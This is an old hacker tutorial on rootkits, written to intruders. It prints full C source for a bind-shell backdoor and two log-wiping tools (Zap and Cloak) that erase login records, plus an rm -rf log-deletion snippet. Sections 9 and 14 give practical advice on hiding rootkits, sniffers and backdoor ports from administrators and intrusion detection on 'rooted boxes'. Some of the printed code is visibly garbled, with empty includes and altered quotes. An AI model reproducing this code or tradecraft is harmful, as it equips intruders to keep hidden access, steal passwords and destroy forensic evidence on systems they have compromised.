The Art of Rootkits (2nd ed) by Marcus Unknown
Table of Contents
01. - What is a rootkit?
02. - Hacker Jargon definition
03. - Hackers or the kids?
04. - Who uses rootkits and why?
05. - The language rootkits are coded in
06. - Different types of rootkits
07. - Backdoors
08. - Sniffers
09. - Cleaners (Log bashers)
10. - Rootkit extra utilities
11. - Kernel rootkits (more detail)
12. - How the kernel works
13. - Analyzing an Application rootkit "T0rn"
14. - A variety of hiding methods: Hiding a Sniffer; Hiding network connections; Hiding
a backdoor
15. - Recommended reading and useful links
16. - Credits
1 - What is a root kit?
A rootkit is a program. Rootkits come in all different shapes and styles, some more advance than
others. Rootkits are basically programs that help attackers keep their position as root. Notice it's
called a "rootkit". 'root' meaning the highest level of administration on *nix based systems and
'kit' meaning a collection of tools. Rootkits contain tools which help attackers hide their presence
as well as give the attacker full control of the server or host continuously without being noticed.
Rootkits are usually installed on systems when they have been successfully compromised and the
highest level of access has been given (usually root) Some rootkits refuse to be installed until the
attacker has root access, due to read and write permission to certain files. Once the system has
been successfully compromised and the attacker has root, he\she may then install the rootkit,
allowing them to cover their tracks and wipe the log files.
A typical rootkit consists of the following utilities (Note: We will look at these in a lot more
detail later on):

Backdoor Programs - login backdoors, telnetd etc

Packet Sniffers - Sniff network traffic such as FTP, TELNET,POP3

Log-Wiping Utilities - Bash the logs to cover tracks

DDoS Programs - Turn the box into a DDoS client (Remember trinoo?)

IRC\Bots - Bots used to take over IRC channels (Lame and annoying)

Miscellaneous programs - May contain exploit, log editor
(Don't worry to much if you don't understand any of the above, as I said were look at this all in a
lot more detail further down)
2 - Hacker Jargon Definition
Oh Hail the mighty hacker jargon!
This is what the "Hacker Jargon" says about the word "rootkit"...
"rootkit: /root´kit/, n.
[very common] A kit for maintaining root; an automated cracking tool. What script kiddies use.
After a cracker has first broken in and gained root access, he or she will install modified binaries
such as a modified version login with a backdoor, or a version of ps that will not report the
cracker's processes). This is a rootkit."
Wow! that's amazing! We worship you hacker jargon! Thank you ever so much for explaining to
me what a rootkit is!
Remember kidz, all you have to do is read out some cool urban HaX@r words out the jargon to
your friends and they will think your really c00l! and 1337! ;-)
3 - Hackers or the Kids?
Now the question you are probably asking yourself is "Is a rootkit a hackers tool or just another
script kiddies tool?" (Well, you may not be thinking that, maybe I just suck and my psychology
skills are as good as yours..) Well, the "Hacker Jargon" defines a rootkit and a script kiddies tool
and to some extend he\she\they\IT is right (The jargon is always right)
Rootkits don't really require that much skill to run or use. Most rootkits can be compiled like
this...
gcc t0rn.c -o rootkit
then...
./rootkit
(Now obviously when compiling all "hacker" tools you need to chose a name which disguises it's
purpose, so rootkit would be a really stupid choice)
However there are some rootkits that require more skill to run and use. Some rootkits require you
to edit the source code before it's compiled and some even need you to edit the iptables and
kernel. (Very advance ones, they used one at the "Black Hat Conference" in 2002)
So, rootkits are used by both hackers and script kiddies. I personally believe that a hacker would
have to write his own rootkit to call himself a hacker not just run and use someone else code.
(However that’s just my opinion, so don't hold me to that!)
4 - Who uses rootkits and why?
I have already really covered this in the previous sections, however for the forgetful types I shall
explain again, just to summaries up what we have learnt so far...
Hackers and script kiddies use rootkits, they use them to maintain root and cover their tracks.
Script kiddies lack knowledge of *how* a rootkit really works and most often they will end up
deleting key binary files. (Basically, script kiddies will let you know when they have
compromised your system)
Rootkits are only installed when the system has been compromised and root has been gained.
I don't really want to go into any more detail, because I'll end up just repeating myself. Lets just
move on...
5 - The Language rootkits are coded in
Hmmm, well this isn't going to be short...
Most rootkits are coded in C or Assembly (Shell code). Most of the well-known rootkits are
coded in C so the attacker can edit the source code to fit its target specification. (E.g. The logs
files could be stored in a different location)
6 - Different types of rootkits
At the current time of writing there are 2 main types of rootkits.
Application rootkits - Established at the application layer
Kernel rootkits - Established at the kernel level (Core of any OS)
When I say "established" this could be referred to of where exactly the rootkit hides. Now lets
start of my looking at an application rootkit.
An application rootkit is basically a rootkit which "replaces" all the well know system binary
files (ls, netstat, killall) with "fake" or "Trojanned" ones. The trojanned or fake system files will
help hide the attackers presence, report false information to the system administrator and even
provide a Backdoor for the attacker. To help you understand this more I have provided a list of
all the typical system files, which are "replaced" to, help the attacker cover his or her tracks. The
list was taken from "Rootkit: Attacker Undercover Tools" by Sailman Manap.
LIST START....
Programs replace to hide attacker presence.

"ls", "find", "du" - Trojaned system file will be able to hide attackers file, directory and
stuff that have been brought into the system from being listing.

"ps", "top", "pidof" - All these programs are process monitor program. Trojaned program
will hide attacker process from being listing.

"netstat" - netstat is used to check network activity such as open port, network
connections establish and listening. Trojaned netstat will hide processes installed by
attacker such as ssh daemon or other services.

"killall" - Trojaned "killall" will not be able to kill attacker process.

"ifconfig" - When sniffer is running PROMISC flag is set to the nic. "ifconfig" is a handy
utility to set and to view setting of ethernet nic. Trojaned "ifconfig" will not display the
PROMISC flag when sniffer is running. This is useful to hide sniffer from being detected.

"crontab" - Trojaned "crontab" will hide the attacker’s crontab entry.

"tcpd", "syslogd" - Trojanised "tcpd" and "syslog" will not log any connection made by
attacker. "tcpd" also capable to bypass tcp wrapper enforcement.
LIST END
Hopefully, that would should have given you a better idea of what an Application is. Remember,
this section has only be written so you can distinguish the differences between a "Application"
rootkit and "Kernel" rootkit. Lets now take a look at a Kernel rootkit.
A Kernel rootkit is a rootkit that buries itself deep in the Kernel. This makes it extremely hard to
detect and remove. Kernel rootkits are more advance then Application rootkits, A Kernel rootkit
works by exploiting and manipulating Kernel capabilities. Now I don't really want to go in much
more detail on Kernel rootkits because they can get quite advance (Well, they ARE) were talk
about them later in this file, it may also help to look at "2.7 - How the kernel works" to get a feel
for these Kernel rootkits...
It's now time to move on. In the next section (Section 2) We look at all the elements which make
up a rootkit, such as a Backdoor, Sniffer, log basher etc Half way through section 2 we will then
look at "Kernel Rootkits" in more detail.
7 - Backdoors
Most of today’s (decent) rootkits contain "Backdoors". Now you should all know what a
Backdoor is but just in case you didn't I will quickly give a brief explanation of all.
Backdoor - A program or script which allows an attacker to establish some form of privilege and
remote communication without logging into the system. Backdoors are usually installed when
the system has been successfully compromised and some form of exploit has been entailed. The
advantage of installing a backdoor on a system means that the attacker doesn't have to keep using
the same exploit over and over again. The disadvantage of installing a backdoor means at one
point or another the system administrator will notice suspicious activity in his network traffic, if
he or she were to run a port scanner such as Nmap (Coded by Fyodor http://www.insecure.org)
he or she would soon uncover an open port and sooner or later remove the backdoor.
A typical example of a Windows NT\2000 backdoor is one entitled "Tini.exe" (Made by
NTSecurity) This little program listens on port 7777 for incoming connections, once a
connection has been established a remote command shell is executed for the attacker who
establishes the connection. (Now as I have mentioned this t-file generally deals with *nix
backdoors, so I don't really want to get side stepped talking about windows backdoors, exploits
etc I thought I'd just mention tini.exe to give you a general idea of what a Backdoor consists of.
Now lets talk more about *Nix backdoors. *nix backdoors come in *many* shapes and sizes.
The paper by Sailman Manap gives yet another long comprehensive list of all the forms
backdoors come in...
LIST START

Login Backdoor - Modifying login.c to look for backdoor password before stored
password. Attacker can log into any account using backdoor password.

Telnetd Backdoor - Trojaned the "in.telnetd" to allow attacker gain access with
backdoor password.

Services Backdoor - Replacing and manipulate services like "ftp", "rlogin", even "inetd"
as backdoor to gain access.

Cronjob backdoor - Backdoor could also be added in "crontjob" to run on specific time
for example at 12 midnight to 1 am.

Library backdoors - Almost every UNIX and Windows system have shared libraries.
Shared libraries can be backdoor to do malicious activity including giving a root or
administrator access.

Kernel backdoors - This backdoor is basically exploiting the kernel, which is core of the
operating system to handle and to hide backdoor effectively

Network traffic backdoors which typically using TCP, UDP, and ICMP - Backdoor
that exploiting network traffic protocol is widely used. In TCP protocol backdoor like ssh
is popularly used because it communicate in encrypt, while crafting and tunneling packet
In UDP and ICMP traffic will give a better chances escaping from firewall and "netstat".
LIST END
All of these and any other forms of *nix backdoors are explained and documented by
Christopher Klaus, his paper can be
Reached at http://secinf.net/info/unix/backdoors.txt, I strongly recommend you check it out if
you are either really interested in Backdoors or you still haven’t grasped the basic concepts of
Backdoors. I have also written a small file on Backdoors entitled "A Crash Course in Backdoors"
it is available at http://www.invisibleghosts.net
To finish of this section on backdoors, I feel like adding some source code. (This is a basic TCP
Backdoor for *nix if you don't own a copy of linux or unix don't even attempt to compile this ;-)
I did not write this, shaun2k2 did, so please give ALL credit for the below source code to him.
----START----------------------------/* backdoor.c - basic unix tcp backdoor.
*
* This is a basic UNIX TCP backdoor. /bin/sh is binded to the port of your
* choice. Access the shell with telnet or netcat:
*
* root# nc -v hackedhost.com 1337
*
* I do not take responsibility for this code.
*/
#include
#include
#include
#include
#define BACKLOG 5
#define SHELL '/bin/sh'
void usage();
int main(int argc, char *argv[]) {
if(argc <2) {
usage(argv[0]);
}
int sock, csock;
struct sockaddr_in client;
struct sockaddr_in mine;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf('Couldn't make socket!\n');
exit(-1);
}
mine.sin_family = AF_INET;
mine.sin_port = htons(atoi(argv[1]));
mine.sin_addr.s_addr = INADDR_ANY;
if(bind(sock, (struct sockaddr *)&mine, sizeof(struct sockaddr)) == -1) {
printf('Could not bind socket!\n');
exit(-1);
}
if(listen(sock, BACKLOG) == -1) {
printf('Could not listen on socket!\n');
exit(-1);
}
printf('Listening for connections on port %s!\n', argv[1]);
while(1) {
int sin_size;
sin_size = sizeof(struct sockaddr);
csock = accept(sock, (struct sockaddr *)&client, &sin_size);
dup2(csock, 0);
dup2(csock, 1);
dup2(csock, 2);
execl('/bin/sh','/bin/sh',(char *)0);
close(csock);
}
}
void usage(char *progname[]) {
printf('Usage: %s \n', progname);
exit(-1);
}
-------END--------------------------------------The main purpose of me showing you this source is to give you a general idea of what a rootkit
consists of. Remember rootkits come in many shapes and sizes and every rootkit is most likely to
contain some form of Backdoor...
So what else do rootkits contain apart from Backdoors? Lets move on to the next section and
look at "Sniffers".
8 - Sniffers
A lot of today’s rootkits contain programs known as "Sniffers". What are Sniffers? (Also known
as Packet Sniffers)
Basically packet Sniffers are programs that are made to "Monitor" network traffic, TCP\IP or any
other network device. I'm sure you know when you are browsing the Internet or playing online
games "Packets" of data are going to and from your Computer. Attackers install Sniffers so they
can capture valuable information which is floating to and from your computer.
What type of valuable information?
Here is a list of what a Sniffer is capable of...

Sniffing FTP passwords

Sniffing Telnet passwords

Sniffing Network passwords

Sniffing POP3 passwords

Capturing websites you have visited

Sniffing Gateways

Lots more
Some of you may be thinking "Won't my passwords been encrypted as they are passing over my
network?" To some extent this is true, some services provide encryption (Such as E-mail if you
were using PGP sniffing would be useless, unless of course your a good cryptographer)
Other services such as ftp and telnet transfer their passwords in plain text, so it would be easy for
an attacker to just capture the packet then dump it into a text editor (such as "vi", "Pico" or for
M$ notepad) it would only take a couple of minutes for an attacker to uncover the plain text
password.
Now there is a technical side to Sniffers that I don't really want to go into. For more information
on Sniffers please read http://www.sans.org/infosecFAQ/switchednet/sniffers.htm this paper was
written by a "Jason Drury" and I have found it most useful. If you are more interested in
Windows Sniffers then I can recommend getting a copy of the following....

Windows Sniffer

TcpDump

Password Capture --------> Made especially to sniff passwords

Sniff

Ethereal

EtherPeep
My personal favorite Sniffer for Windows has to be TCPDump it's command line driven so the
scripties wouldn't go near it but for those truly interested in the elements of computer hacking I
would recommend TCPDump, it will take time getting used to it but its worth it.
Now what about linux sniffers.. Hmmmm I'll be honest with you I haven’t had much experience
using linux Sniffers, but I have been told there are some good tutorials on how to make your own
Sniffer for *nix on http://www.planetsourcecode.com, however before you even attempt to make
your own I strongly recommend you get into socket programming. If you want a read made
Sniffer just google for one, a common one is "linsniffer.c"
Anyway back to the main point, most rootkits DO sometimes contain "ready to run" Sniffers and
Sniffers are hard to detect once they are running. (Were look at this a little later) The purpose of
this section was just to show you WHAT a Sniffer is.. Now you know lets move on :-)
9 - Cleaners (Log Bashers)
Ah, we come to something a lot simpler, Log Bashers :-) (Also known as Log deleters, Log
killers and Log Cleaners)
No matter what the title they all do the same thing. Delete system log files. System
Administrators rely on logging as an extra form of security. Log files can keep track on who
logged in last and at what type, what programs were run as that user was logged in etc etc.
Therefore it is exceptionally important for the attacker to destroy ALL traces of log files. Now,
some of you may be thinking:
"If all the Log files are deleted won't this give an indication to the system administrator that there
box has been hacked?"
If you’re thinking that, then your dead right. Deleting the log files can sometimes be pretty
stupid, the best way to get around the log files is to "edit" the entries by deleting your entries and
filling in some false ones (Sometimes this requires root access, but if your running a log cleaner
of a rootkit you should already have root :-)
Another way around this is to delete the whole log file then to "re-create" them. Here is a VERY
simple script I made to demonstrate what I mean...
-------START-----int main()
system("rm-rf /root/logs/LastEntry.log");
touch(" /root/Logs/LastEntry.log");
return 0;
-------END-------Now for those who don't know any C then I shall I explain. The first main line of the code is
telling the C program to remove the file LastEntry.log, delete it. The second line is telling the
program to create a file called LastEntry.log in the exact same location.
So when the system administrator opens the log file he will be confronted with a blank file. (This
may be a bit stupid because if the admin is security minded he will know the system has been
compromised. Some stupid admins see it as a 'Bug' therefore you get away with it.)
Most rootkits contain some form of log-cleaner, but before you execute it you need to make sure
you know exactly HOW it works, otherwise your just another script kiddie who "presumes" this
tool will cover your tracks completely. Some log cleaners search certain directories for words
like "IP" "Login", "Logs", "Log" etc and then delete them. Some just delete all the default log
files that are in the default system location. Before you compile a rootkit learn C and take a look
at the source code you may find you need to edit some of the entries. It's important you come
FULLY prepared before you go out and install your rootkit.
I'll tell you now, I have been in this game long enough to realize even if you successfully
edit\Delete a bunch of log files it doesn't mean you’re untraceable. You still need to think about
system programs which are running, which may have their own logging capabilities. Look out
for IDS (Intrusion Detection Systems) such as SNORT and look out for programs like Tripwire
and any other security programs which
monitor\analyze system security.
As more and more people become security minded so do there software and "security awareness"
system administrators are getting clever, so be careful!
I'll end this section now with some source for some well known log cleaners, I would strongly
recommend not using them though, since they are fairly old. I'm only using them to show you
what typical log cleaners are (used to be) like. Just because they are old though doesn't mean
they don't work ;-) I'm just pretty sure if you Google about you can find MUCH better ones.
This is a very old log cleaner called "Zap" the source code is below..
----START---#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME '/usr/adm/wtmp'
#define UTMP_NAME '/etc/utmp'
#define LASTLOG_NAME '/usr/adm/lastlog'
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf('%s: ?\n',who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf('Zap2!\n');
} else
printf('Error.\n');
----END---Here is another little log cleaner called Cloak v1.0 it wipes your presence on SCO, BSD, Ultrix,
and HP/UX UNIX. This program is *old* and was written by Wintermute of -Resist-.
-------START------/*
/*
/*
/*
UNIX Cloak v1.0 (alpha) Written by: Wintermute of -Resist- */
This file totally wipes all presence of you on a UNIX system*/
It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
is compatible.. This file is for information purposes ONLY!*/
/*--> Begin source...
#include
*/
#include
#include
#include
#include
main(argc, argv)
int
argc;
char
*argv[];
{
char
*name;
struct utmp u;
struct lastlog l;
int
fd;
int
i = 0;
int
done = 0;
int
size;
if (argc != 1) {
if (argc >= 1 && strcmp(argv[1], 'cloakme') == 0) {
printf('You are now cloaked\n');
goto start;
}
else {
printf('close successful\n');
exit(0);
}
}
else {
printf('usage: close [file to close]\n');
exit(1);
}
start:
name = (char *)(ttyname(0)+5);
size = sizeof(struct utmp);
fd = open('/etc/utmp', O_RDWR);
if (fd < 0)
perror('/etc/utmp');
else {
while ((read(fd, &u, size) == size) && !done) {
if (!strcmp(u.ut_line, name)) {
done = 1;
memset(&u, 0, size);
lseek(fd, -1*size, SEEK_CUR);
write(fd, &u, size);
close(fd);
}
}
}
size = sizeof(struct lastlog);
fd = open('/var/adm/lastlog', O_RDWR);
if (fd < 0)
perror('/var/adm/lastlog');
else {
lseek(fd, size*getuid(), SEEK_SET);
read(fd, &l, size);
l.ll_time = 0;
strncpy(l.ll_line, 'ttyq2 ', 5);
gethostname(l.ll_host, 16);
lseek(fd, size*getuid(), SEEK_SET);
close(fd);
}
}
-----END----10 - Rootkit Extra Utilities
I will try and keep this section short due to there isn't really that much to say. As you should
know by now and as I have mentioned rootkits come in all shapes and styles. Some rootkits are
well known for their advance log cleaner, others for their advance Backdoor and others for their
advance, stealth hard to remove installation procedure.
There are some rootkits which are well known for being SAR (Swiss Army Rootkits) basically,
they are rootkits with average features plus a whole load of extra utilities such as Bots, DdoS,
Extra scripts, Password crackers, Killer scripts etc
Rootkits that contain scripts that cause DDoS attacks are considered dangerous; if an attacker
were to exploit 100's of servers and install such a rootkit those servers would then become
"Zombies" they could launch DDoS attacks (SYN, PING, FINGER, UDP, TCP) against chosen
targets. Rootkits are continuously being made more advance and extra utilities are being added
on each time. In the future I personal predict that rootkits will be a major threat to national
security.......
That’s really all I have to say for this section. Lets move on.
11 - Kernel Rootkits (More Detail)
We have already briefly looked at "Kernel Rootkits" but we haven’t really looked at them in
close detail. In this section I plan to analyze and expose the basics of a kernel rootkit. If you’re
not to sure on what the "Kernel" is I recommend you skip this section and move onto the next
section (2.5) then come back to this section when you feel that you are ready.
The best way to start of this section is talk about how Kernel rootkits actually work. Kernel
rootkits work, basically by exploiting LKM. (Loadable Kernel Modules)LKM are used to load
device drivers on a "as-needed" bases. LKM are usually only exploited so the attacker can
perform malicious activity.
Kernel rootkits are way more dangerous than Application rootkits because instead of just
replacing the basic binaries like "ls" and "netstat" they attack the kernel directly and manipulate
system-calls like open() and read(). As we know application rootkits replace binaries, if the
administrator was clever and analyzed the actual binaries which had been replaced they will
realize the differences in size (e.g. the program could contain an extra 128 bytes) However, this
wouldn't be possible with Kernel rootkits because instead of actually changing the size and
structure of the program, they just change the way the program operates. For example programs
like "ps" use an open system call "open()" and reads information from files in the directory /proc,
where also the information about running processes is kept.
For more information on rootkits and to mess about with typical examples of each rootkit type...
Considering obtaining a copy of..
Application rootkit - t0rn
Kernel rootkit - Adore (Also known as LKM-Adore)
12 - How the Kernel Works
This will be a very basic and very short section and is only here to help those understand how the
Kernel works.
What is a Kernel? In English and using non-technical jargon a Kernel is basically the "Core" of
the OS (Linux, Unix, Windows). Without the Kernel an Operating System could not load.
The Kernel is one of the first things which load in a OS and it remains in the main memory.
Since it's staying in the main memory its *very* important for the Kernel to be as small as
possible, but at the same time be able to provide all the essential programs, services, devices,
applications and drivers for the OS.
Typically, the kernel is responsible for I/O(Input and Output) management, Device drivers, CPU
management, process and task management, and disk management.
The kernel looks something like this....
|-----------------|Applications and |
|_Programs_ _ _ _ |
*******************
* MAIN KERNEL
*
*
*
*******************
|
Hardware
|
|_ _ _ _ _ _ _ _ _ |
- LKM - System Calls
- Consists of:
Memory Management
I\O Management
CPU Management
Device Drivers
Understand? Quite simple really...
13 - Analyzing an Application Rootkit "T0rnkit"
This is a professional analysis of the rootkit "T0rn" this was taken of off Mcaffe's main site.
"T0rnkit attempts to hide its presence when installed. During installation it first shuts down the
system-logging daemon, syslogd. It then replaces several other system executables with
trojanized versions and adds a trojanized ssh daemon to the system as well. Programs that are
replaced are, among others; du, find, ifconfig, login, ls, netstat, ps, sz and top. If the system
administrator uses these somewhat vital functions they report normal looking information, but
the processes and network connections that the hacker uses aren't shown. Finally T0rnkit starts a
Sniffer in background, enables telnetd, rsh and finger daemons in "/etc/inetd.conf", restarts inetd
to activate changes made and starts syslogd again. This all without the system administrator
knowing about it.
Noteworthy is that all new programs in the t0rnkit all have the exact size of 31.336 bytes.
T0rnkit usually can be found in the directory /usr/src/.puta, but of course not if it already has
been activated because the command 'ls' will have been replaced. With the standard installation
of t0rnkit TCP port 47017 is open for root access to the system. A modified version of this
rootkit was also distributed by a variant of Unix/Lion worm.
A system administrator that is a little bit into the security world can find a with t0rnkit infected
system pretty fast because of the change in file sizes and a simple port scan will reveal the open
port, but funny enough most people don't have this 'expertise' "
14 - A variety of hiding methods
To finish off section two, I will give you some tips that I have found to be useful when hiding
certain features of a rootkit e.g. Backdoor, Sniffer etc)
Lets start by reviewing ways to successfully hide the actual rootkit...
To start off with, it would be a good idea to hide the compiled rootkit in a hidden directory. I
would recommend creating a directory you suspect the administrator will not go near. For
example try hiding it in a folder situated in /var/something/something/something make it as long
as possible and rename the file using the "mv" command to something the admin will not suspect
is a "suspicious" file (e.g. Kernel-023, pso, ls2 etc)
Now when running the sniffer make sure you add the character "&" behind of it, like this
"lnsniffer&", the "&" tells the system to continue running the program even when the user is
logged out. However, this does provoke a slightly higher risk. If you leave the Sniffer running all
day and the sysadmin logs in he may notice something is up if he was to execute the "ps"
command. Sniffers are great programs for getting passwords, if a TCP Sniffer was installed on a
regular Ethernet connection you could capture a good 50 odd passwords!
The downside to Sniffers are they may need to be modified slightly before you can run them,
also some IDS programs can detect changes made to the Ethernet card (e.g. When the card is
switched into promiscuous mode the IDS will know and alert the admin) :-(
Now if your running a "Kernel rootkit" its quite easy to hide the Sniffer, because if the kernel
rootkit is any good it should allow the Sniffer to hide the promiscuous flag of the network
interface. The system call to Trojan in this case is sys_ioctl() (You don't really need to know that,
unless your planning on writing your own kernel rootkit)
"Hiding network connections" is another technique you may wish to use. To sucessfully hide
network connections it can be done by preventing the system logging the activities
inside “/proc/net/tcp” and “/proc/net/udp”. The idea for a kernel rootkit is to trojan the
sys_read() command. Whenever reading these two files and a line matching a unique string, the
system call will hide it from user.
The above techniques can then be brought together to successfully hide a backdoor. Most
backdoors you install will listen on a certain port, this informartion is then logged into
/proc/net/tcp and /proc/net.udp, you would need to manipulate the sys_read() system call to
sucessfully hide the backdoor.
Now it's important that you know using rootkits could be a very easy way to get busted. There
have been times when I have just gone into a system with a custom made log cleaner and nothing
else. System administrators are getting quite clever and with the rapid growth of advance
programs like "Promiscuous Detectors" and "Chkrootkit" it's easy for the attacker to slip up and
get busted. Kernel rootkits are the best type of rootkits to use when penetrating through a system
but they are also the most complex and will require patience and understanding before they can
be put to any real use.
Before you just go out and install a bunch of rootkits on your "rooted boxes" I would strongly
recommend experimenting with them on your own box, so you learn EXACTLY what they are
doing. If you haven’t got a box to practice on I recommend you download and install a copy of
VMWare, NEVER take risks! There is more to life than computers, don't mess your whole life
up with some stupid childish mistake!
Now I'm finished here with rootkits (Partly because my fingers are getting tired) I hope you have
learnt SOMETHING from this t-file. I am sorry that I didn't really go into much detail about
kernel rootkits, system calls and LKM's or ways to protect yourself from such malicious software
but this is the "First Edition" I do eventually plan to develop this paper and continuously add to it
as rootkits develop but no promises ;-)
Hope you learnt something; I will finish off this paper by leaving with you some useful links and
recommended reading material.
15 - Recommended reading and useful Links
Sunnie Hawkins, Understanding the Attackers Toolkit, January 13, 2001,URL:
http://www.sans.org/infosecFAQ/linux/toolkit.htm
Andrew R. Jones, A Review of Loadable Kernel Modules, June 12, 2001, URL:
http://www.sans.org/infosecFAQ/linux/kernel_mods.htm
Jason Drury, Sniffers: What are they and How to Protect From Them, November 11, 2000, URL:
http://www.sans.org/infosecFAQ/switchednet/sniffers.htm
DeokJo Jeon, Understanding DDOS Attack, Tools and Free Anti-tools with Recommendation,
April 7, 2001,URL: http://www.sans.org/infosecFAQ/threats/understanding_ddos.htm
Steve Gibson, The Strange Tale of the Denial OF Service Attacks Against GRC.COM, Gibson
Research Corporation, Aug 31, 2001, URL: http://grc.com/dos/grcdos.htm
Black Tie Affair, Hiding Out Under UNIX, Volume Three, Issue 25, File 6 of 11, March 25,
1989, URL: http://www.phrack.org/show.php?p=25&a=6
Christopher Klaus, Backdoors, August 4 1997, URL: http://secinf.net/info/unix/backdoors.txt
Cra58cker, A Crash Course in Backdoors: http://www.invisibleghosts.net
16 - Credits
This paper couldn't have been put together if it wasn't for the following people...
Daremo - Explained the procedure used to disassemble and trace an installed rootkit.
Cra58cker - I wrote this ;-)
Invisible Ghosts - My inspiration
Sailmap Manap - I quotes him quite a lot
Invisible Evil - Helped with the hiding methods
Mcaffee - Provided the analysis of the "T0rn" rootkit
Author of T0rn - For giving me something to write about!